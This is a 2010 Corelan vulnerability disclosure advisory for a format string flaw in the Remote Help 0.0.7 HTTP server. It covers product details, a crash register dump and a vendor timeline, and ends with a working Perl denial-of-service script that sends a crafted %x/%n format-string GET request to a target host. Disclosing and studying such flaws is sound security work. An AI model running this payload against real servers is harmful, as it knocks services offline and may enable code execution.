[CORELAN-10-015] - Remote Help 0.0.7 Httpd DoS (Format String)

[Security <security () corelan be>]

|------------------------------------------------------------------|
|                         __               __                      |
|   _________  ________  / /___ _____     / /____  ____ _____ ___  |
|  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |
| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |
| \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |
|                                                                  |
|                                       http://www.corelan.be:8800 |
|                                              security () corelan be |
|                                                                  |
|-------------------------------------------------[ EIP Hunters ]--|
|                                                                  |
|                 Vulnerability Disclosure Report                  |
|                                                                  |
|------------------------------------------------------------------|

Advisory        : CORELAN-10-015
Disclosure date : March 20, 2010
http://www.corelan.be:8800/index.php/forum/security-advisories/remote-help-httpd-denial-of-service/



0x00 : Vulnerability information
--------------------------------

[*] Product : RemoteHelp
[*] Version : 0.0.7
[*] Vendor : http://hipernes.sdf-eu.org/
[*] URL : http://hipernes.sdf-eu.org/
[*] URL : http://www.softpedia.com/progDownload/Remote-Help-Download-144888.html 
[*] URL : http://sourceforge.net/projects/remotehelp 
[*] Platform : Windows XP
[*] Type of vulnerability : Format String 
[*] Risk rating : Low/Medium
[*] Issue fixed in version : Unknown
[*] Vulnerability discovered by : Rick2600
[*] Corelan Team : http://www.corelan.be:8800/index.php/security/corelan-team-members/


0x01 : Vendor description of software
-------------------------------------
> From the vendor website:

RemoteHelp is a minimal http server that allows to view and control a remote pc running a 32-bits

version of Microsoft Windows. It is only one file without any configuration file and now include

webcam support, new interface and new features...



0x02 : Vulnerability details
----------------------------
The discovered vulnerability allows an attacker to cause denial of service in the aplication by sending a
malicious request containing format string specifier. Remote code execution may be possible. 

EAX 41424344
ECX 00E7F818
EDX 00000000
EBX 0000006E
ESP 00D3F2FC ASCII "0000000000000..."
EBP 00D3F550
ESI 00000001
EDI 00D3FE27 ASCII "XDCBA>"
EIP 00414DFC httpd_0_.00414DFC



0x03 : Vendor communication
---------------------------
01 feb 2010 : Vendor contacted - no reply 
20 mar 2010 : Public disclosure


0x04 : Exploit/PoC
------------------
# Exploit Title : Remote Help 0.0.7 Remote DoS
# Date          : 20 Mar 2010
# Author        : Rick2600 (ricks2600[at]gmail{dot}com)
# Bug found by  : Rick2600
# Software Link : http://www.softpedia.com/progDownload/Remote-Help-Download-144888.html
# Version       : 0.0.7
# OS            : Windows
# Tested on     : XP SP2 En
# Type of vuln  : DoS
# Greetz to     : Corelan Security Team : http://www.corelan.be:8800/index.php/security/corelan-team-members/
#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
#
#
# Code :
print "|------------------------------------------------------------------|\n";
print "|                         __               __                       |\n";
print "|   _________  ________  / /___ _____     / /____  ____ _____ ___  |\n";
print "|  / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\   / __/ _ \\/ __ `/ __ `__ \\ |\n";
print "| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |\n";
print "| \\___/\\____/_/   \\___/_/\\__,_/_/ /_/   \\__/\\___/\\__,_/_/ /_/ /_/  |\n";
print "|                                                                  |\n";
print "|                                       http://www.corelan.be:8800 |\n";
print "|                                                                  |\n";
print "|-------------------------------------------------[ EIP Hunters ]--|\n\n";
print "[+] DoS exploit for Remote Help 0.0.7 Http\n";

use IO::Socket; 

if ($#ARGV != 0) { 
    print $#ARGV;
    print "\n  usage: $0 <targetip>\n"; 
    exit(0); 
} 


print "[+] Connecting to server $ARGV[0] on port 80\n\n";

$remote = IO::Socket::INET->new( Proto => "tcp",
                                 PeerAddr  => $ARGV[0],
                                 PeerPort  => "http(80)",
);
unless ($remote) { die "Cannot connect to Remote Help daemon on $ARGV[0]\n" }
print "[+] Connected!\n";


#CONTROL EAX
$payload = "/index.html" . "%x" x 90 . "A" x 250 . "%x" x 186  ."%.999999x" x 15 ."%.199999x"  . "%nX" . "DCBA";


print "[+] Sending Malicious Request\n";
print $remote "GET $payload HTTP/1.1\r\n";
close $remote;